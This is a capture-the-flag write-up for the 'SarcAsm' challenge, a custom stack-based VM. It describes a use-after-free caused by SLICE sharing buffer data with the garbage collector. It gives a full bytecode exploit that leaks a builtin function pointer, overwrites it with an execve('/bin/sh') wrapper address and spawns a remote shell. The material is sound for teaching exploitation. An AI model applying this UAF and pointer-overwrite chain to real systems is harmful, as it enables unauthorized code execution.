SarcAsm
Challenge
The challenge provides a custom VM binary (sarcasm) that implements a stack-based virtual machine called "SarcAsm". The VM supports assembling text mnemonics into bytecode (--asm mode) and executing bytecode. The goal is to spawn a shell on the remote server at chall.ehax.in:9999.
Analysis
Binary Overview
- ELF 64-bit PIE stripped binary
- Implements a stack-based VM with custom opcodes
- Contains an
execve("/bin/sh")wrapper function at offset0x3000in the binary - The wrapper is referenced by a pointer stored in
.dataat0xa010
VM Architecture
The VM uses a tagged value system:
- Odd values: Tagged integers (actual value = val >> 1)
- Even values: Pointers to heap objects
Heap objects have a type field at offset 0:
- Type 1: Buffer (raw byte storage)
- Type 2: Slice (view into a buffer, shares the data pointer)
- Type 3: Builtin/native function (contains a function pointer)
All three types share the same layout with a data pointer at offset 0x18. For buffers, user data begins at data+8. For builtins, the function pointer is stored at data+8.
Key Opcodes
| Opcode | Mnemonic | Description |
|---|---|---|
| 0x01 | PUSH | Push immediate value |
| 0x02 | DUP | Duplicate top of stack |
| 0x04 | DROP | Remove top of stack |
| 0x20 | NEWBUF | Create buffer with given capacity |
| 0x21 | READ | Read bytes from stdin into buffer |
| 0x22 | SLICE | Create a slice view of a buffer |
| 0x23 | PRINTB | Print buffer/slice contents to stdout |
| 0x25 | WRITEBUF | Write bytes from stdin into buffer at offset |
| 0x30 | GLOAD | Load from global variable |
| 0x31 | GSTORE | Store to global variable |
| 0x40 | BUILTIN | Create a builtin function object (index 0 or 1 only) |
| 0x41 | CALL | Call a function object |
| 0x60 | GC | Trigger garbage collection |
| 0xFF | HALT | Stop execution |
Builtin Table
Located at 0x9a60 in .data.rel.ro, each entry is 16 bytes (func_ptr, num_args):
- builtin[0]:
0x31d0(print integer), 1 argument - builtin[1]:
0x2ee0(no-op), 0 arguments
The BUILTIN instruction enforces that the index is 0 or 1 only.
Custom Allocator
The VM uses a pool allocator with size classes: 16, 32, 64, 128, 256, 512, 1024, 2048, 4096 bytes. Freed data blocks go to per-size-class free lists and are reused by subsequent allocations of the same class.
BUILTIN objects allocate 32-byte data blocks (size class 1).
Vulnerability: Use-After-Free via SLICE
The SLICE instruction creates a view into a buffer by copying the data pointer directly:
slice->data = buffer->data // Shared pointer, no reference counting!
The garbage collector (GC) does NOT track shared data references. When it frees an object of type 1, 2, or 3, it also frees the associated data block. This means:
- If a buffer is created and a slice is made from it, they share the same data pointer
- If the slice is freed by GC (unreachable from stack/globals), its shared data block is also freed
- The original buffer still holds a now-dangling pointer to the freed data
- A new allocation of the same size class can reuse this freed data block
This is a classic use-after-free through shared data.
Exploit Strategy
Step 1: Set up the UAF
NEWBUF 32 ; Create buffer B1 with 32-byte data D1 (size class 1)
DUP ; Duplicate B1 on stack
GSTORE 0 ; Save B1 in global[0]
DUP ; Duplicate B1 again
READ 8 ; Read 8 dummy bytes into B1 (sets B1->length = 8)
DUP ; Duplicate B1
SLICE 0 0 ; Create slice S1 from B1 (S1->data = D1, shared!)
DROP ; Drop S1 (now unreachable)
GC ; GC frees S1 AND D1! B1 still alive with dangling data ptr
Step 2: Reuse freed data with BUILTIN
BUILTIN 0 ; Allocates 32-byte data from free list, REUSES D1!
; Writes func_ptr (0x31d0+ASLR) to D1+8
GSTORE 1 ; Save builtin in global[1]
Now B1->data and the builtin's data both point to D1. The function pointer at D1+8 is the same memory as B1's buffer content starting at offset 0.
Step 3: Leak the function pointer
GLOAD 0 ; Load B1 (with length=8 from earlier READ)
PRINTB ; Prints 8 bytes from D1+8 = the builtin's func_ptr!
This leaks the address of print_int (0x31d0 + PIE_base) to stdout.
Step 4: Overwrite function pointer
GLOAD 0 ; Load B1 again
WRITEBUF 0 8 ; Read 8 bytes from stdin, write to D1+8
; We send: (leaked_addr - 0x1d0) = execve wrapper address
Step 5: Call the corrupted builtin
PUSH 0 ; Push a dummy argument (builtin[0] expects 1 arg)
GLOAD 1 ; Load the corrupted builtin
CALL 1 ; Calls func_ptr at D1+8 = execve("/bin/sh")!
Computing the execve address
- Leaked value:
print_intat binary offset0x31d0 - Target:
execve_wrapperat binary offset0x3000 - Offset:
0x3000 - 0x31d0 = -0x1d0 - So:
execve_addr = leaked_ptr - 0x1d0
Exploit Code
The assembled bytecode (/tmp/exploit.nvm):
NEWBUF 32
DUP
GSTORE 0
DUP
READ 8
DUP
SLICE 0 0
DROP
GC
BUILTIN 0
GSTORE 1
GLOAD 0
PRINTB
GLOAD 0
WRITEBUF 0 8
PUSH 0
GLOAD 1
CALL 1
HALT
The exploit script sends the bytecode, provides 8 dummy bytes for READ, receives the 8-byte leak, computes the execve address, sends it back via WRITEBUF, and the CALL instruction spawns a shell.